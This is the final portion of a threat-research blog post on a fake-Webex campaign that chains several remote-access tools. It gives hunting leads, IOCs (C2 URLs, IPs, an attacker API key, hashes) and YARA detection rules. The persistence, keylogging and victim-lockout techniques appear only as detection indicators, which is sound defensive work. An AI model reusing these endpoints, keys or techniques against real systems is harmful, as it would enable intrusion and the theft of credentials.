Credential/session/keystroke theft (T1555.003, T1056.001)Dedicated password manager; disable browser-native password storage via GPOUser Application HardeningDPAPI decryption from non-browser processes; SetWindowsHookEx global hooks from unsigned processes

Application Control and Restricting Administrative Privileges (both ASD/ACSC, November 2023) cover most of it. The RMM-abuse and browser-hardening rows lean on those strategies’ own stated purpose rather than a literal line-item match in the canonical table - flagging that as my own judgement call. One honest gap worth naming: I don’t have a clean Essential Eight home for “detect an operator trying to strand a victim on their own machine” (the power-lock and Wi-Fi-lock scripts) - that lives in endpoint behavioral monitoring, not in this table.

Hunting and detection summary

  • Outbound requests to webex[.]conferrence[.]live or its /join.php, /lobby.php, /download.php paths - the fake-meeting funnel that precedes every leg
  • %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\RockyRMMClient.lnk on any endpoint
  • cscript.exe //nologo <tmp>.vbs spawned by a non-script-associated parent EXE
  • Outbound websocket handshake to any *.casacam[.]net host, especially on TCP 5222
  • msiexec /i %TEMP%\*.msi /qn spawned from a user-launched “Setup.exe” or PowerShell
  • New Startup-folder .lnk, hidden service, or scheduled task with no IT change record
  • Hidden service AgtaBackupAgentSvc; directory C:\ProgramData\Agta Backup\; desktop object WinSta0\AgtaBackstage
  • Named pipes prefixed agta-* (keylog-drain, ws-stream, bs-shell, and others)
  • Any ScreenConnect (ConnectWise) install where the process chain traces back to a non-helpdesk-initiated binary
  • LEVEL_API_KEY=* strings in process command lines or PowerShell logs - enrollment keys are campaign-specific and a strong pivot
  • Mass Explorer-policy registry writes (NoClose, HidePowerOptions, HideSCANetwork) or an Image File Execution Options entry on SlideToShutDown.exe
  • secedit /configure ... /areas USER_RIGHTS removing SeShutdownPrivilege outside a documented policy change

The YARA rules, Sigma detections, KQL queries, and IOC list for this campaign are also available in the companion detection repo.

Indicators of Compromise

Delivery and hosting

TypeIndicatorNotes
Lure domainhxxps[://]webex[.]conferrence[.]liveTyposquatted “Webex” meeting site (note the extra r); fake join/lobby/download funnel redirects to GitHub Releases
Lure paths/join.php, /lobby.php, /download.php?download=1Fake meeting funnel pages on the typosquat site, in order, before the GitHub Releases redirect
Delivery repogees11111/v1 (GitHub)Attacker-controlled staging account; 8 release tags
Delivery URL (Leg 1)hxxps[://]github[.]com/gees11111/v1/releases/download/gamer/WebexSetup_en.zipZip named “WebexSetup,” inner EXE unbranded
2nd-stage hostpub-ad3ebf54119e4cd3885d253c9afe3ba9[.]r2[.]dev/sccp.msiCloudflare R2 bucket, Leg 2a MSI

Command and control

TypeIndicatorNotes
C2 URLws[://]rockytomholland[.]casacam[.]net:5222/ws/clientRocky RMM (Leg 1); do not block parent casacam[.]net zone - shared free DDNS
C2 IP45[.]156[.]87[.]171Rocky RMM C2, AS197170, live at analysis time
Relay167[.]94[.]158[.]48:8041ScreenConnect relay shared by Legs 2a/2b/2c; Hyonix VPS
SC instanced08195f142b8bd3bSame instance across all three ScreenConnect legs
SC labelPopepagascreen / IT DepartmentOperator naming fingerprint
C2 URLhxxp[://]155[.]254[.]99[.]248:4080/api/agents/checkin?secret=agta-enroll-7f3a1c2d9eAgta Backup Agent (Leg 4)
Enrollment keyLEVEL_API_KEY=F528uEYAgf7LxEx9sVtRcmpcLevel.io (Leg 3) - identifies the attacker’s tenant

Host artifacts

TypeIndicatorNotes
PersistenceRockyRMMClient.lnk in Startup folderDescription field literally reads “Rocky RMM Client”
Dropped file%TEMP%\popesc.msiDecrypted ScreenConnect MSI (Leg 2b)
ServiceAgtaBackupAgentSvcHidden, ARPSYSTEMCOMPONENT=1
Directory%ProgramFiles%\Agta Backup\, C:\ProgramData\Agta Backup\Agta install/data paths
Desktop objectWinSta0\AgtaBackstageAgta hVNC hidden desktop
Named pipesagta-keylog-drain, agta-ws-stream, agta-bs-shell, agta-file-txAgta internal IPC
Scheduled tasksAgtaHideSC, AgtaWifiKeeperOperator quick-command tasks; both self-delete or hide

Hashes

TypeValueWhat it is
SHA2567f1c2fa1c91d557aaa8baecd082998d709a89e87487dff3b3d3348211eed8a9bWebexSetup_en.zip (Leg 1 delivery archive)
SHA256b2d4a28d676567dfbc292c89e1528393c9d6e3823ef31ae68cbc1d51373734a0ClientSetup_en_x64.exe - Rocky RMM Go RAT
SHA256f8ed4cb272e52b7ef2b1c2672dbc6ace9f3ef752a38ce535265cfab891c9cbffWebeXInstaller.exe - genuine, renamed EnableLoopback.exe
SHA256e34d536310e864bf62e8119a9465027b3a654662b8ade3d301f588fb01b1f578FirewallAPI.dll - MinGW XOR-0xB8 sideload crypter
SHA25660632f450863dc6882c85ef353504490122a9b0aca1fef8c6e7db2620a413d0cpopesc.msi (decrypted) - ScreenConnect 25.2.4.9229
SHA256ecd666fc2758f88b8e6c6d4eeddf40b3e0fa47effbb95d48192530f4fc510320WebexMeetingSetup.exe - Inno Setup, Level.io dropper
SHA25608fd986e5b54bbd56419df4a4a23a39ec2b176f224b76a6743d3a364049e6ab0AgtaBackupAgent.msi

Code / attribution

TypeValueNotes
Go module pathrocky-rmm/clientDeveloper’s own name for the tool
Code-signing certCN=Space Solar Technologies LLC, serial 414d426bd6f09fc60814af48f5bb4942SSL.com OV cert, issued 10 days pre-build, not revoked at analysis time
MVID (shared build)e9fc4211-44aa-4f70-a0d4-a8ab8df49964AgtaCore.dll, identical across all 5 Agta components

Detection rules

rule RMM_RockyRMM_Go_Client
{
    meta:
        description = "Detects the 'rocky-rmm' Go-based RAT/RMM client delivered via GitHub-Releases-hosted zip masquerading as Webex/ClientSetup installer"
        author = "blueteam.cool"
        date = "2026-09-05"
        hash_zip_sha256 = "7f1c2fa1c91d557aaa8baecd082998d709a89e87487dff3b3d3348211eed8a9b"
        hash_exe_sha256 = "b2d4a28d676567dfbc292c89e1528393c9d6e3823ef31ae68cbc1d51373734a0"

    strings:
        $mod1 = "rocky-rmm/client" ascii
        $mod2 = "rocky-rmm/client/persistence" ascii
        $mod3 = "rocky-rmm/client/handlers" ascii
        $mod4 = "rocky-rmm/client/connection" ascii
        $devpath = "ROCKY_RMM/client" ascii

        $c2 = "ws://rockytomholland.casacam.net:5222/ws/client" ascii

        $vbs1 = "Set oWS = WScript.CreateObject(\"WScript.Shell\")" ascii
        $vbs2 = "Set oLink = oWS.CreateShortcut(sLinkFile)" ascii
        $vbs3 = "oLink.Description = \"Rocky RMM Client\"" ascii
        $lnkname = "RockyRMMClient.lnk" ascii

        $msg1 = "Rocky RMM Client starting..." ascii
        $msg2 = "Installing persistence (startup folder)..." ascii
        $cleanup = "rmm_cleanup.bat" ascii

    condition:
        uint16(0) == 0x5A4D and
        (
            2 of ($mod*) or
            $c2 or
            2 of ($vbs*) or
            ($lnkname and $msg1)
        )
}

rule webex_firewallapi_sideload_screenconnect_loader
{
    meta:
        author = "blueteam.cool"
        date = "2026-09-05"
        description = "MinGW FirewallAPI.dll sideload crypter: XOR-0xB8 drop of ScreenConnect popesc.msi"
        sha256 = "e34d536310e864bf62e8119a9465027b3a654662b8ade3d301f588fb01b1f578"
    strings:
        $exp1 = "NetworkIsolationEnumAppContainers" ascii
        $exp2 = "NetworkIsolationSetAppContainerConfig" ascii
        $drop = "popesc.msi" ascii
        $tmp  = "C:\\temp" ascii
        $xor  = { 0F B6 14 01 83 F2 B8 88 14 03 }
    condition:
        uint16(0) == 0x5A4D and 2 of ($exp*) and ($drop or $xor)
}

rule screenconnect_relay_167_94_158_48
{
    meta:
        author = "blueteam.cool"
        date = "2026-09-05"
        description = "Config strings tying a ScreenConnect client to the campaign's shared relay/instance"
    strings:
        $r = "h=167.94.158.48&p=8041" ascii wide
        $i = "sc-d08195f142b8bd3b" ascii wide
    condition:
        any of them
}

Closing

Four release tags, four completely unrelated tools, one throwaway GitHub account, forty-eight hours. Chaining multiple RMM tools together buys an operator persistence, makes remediation harder, and gives them more than one path back in if a defender closes the first door. None of that is a new idea

  • spinning infrastructure up and tearing it down fast, rotating through whichever RMM tool is least likely to get flagged this week, has been around for a while. What’s new is how well it’s working, and that’s the actual reason RMM abuse keeps climbing instead of tapering off.

You no longer need a zero-day and months of research to get a foothold. You need a convincing enough download page and the patience to chain a handful of remote-access tools together until one of them survives contact with EDR. It’s a lazy strategy by the standards of what used to count as tradecraft, and it’s working anyway - which is the part that annoys me. Defenders end up playing whack-a-mole across four tools instead of one, and “we blocked the RAT” stops meaning “we’re done.”

The operator-console scripts are the piece I’d want every reader to sit with for a second, though. A RAT that steals credentials is a familiar shape. A RAT that ships purpose-built tooling to stop a victim powering off their own computer or leaving their own Wi-Fi is something else - and it tells you more about what’s actually happening on the other end of that call than any capability list does.

Stay curious.


On methodology: the investigation is mine. The reverse engineering and analysis assembly were carried out with AI workflows (Claude, primarily). I reviewed every finding. Errors are mine - ping me on X or Instagram if you spot something off.

References

This post is licensed under CC BY 4.0 by the author.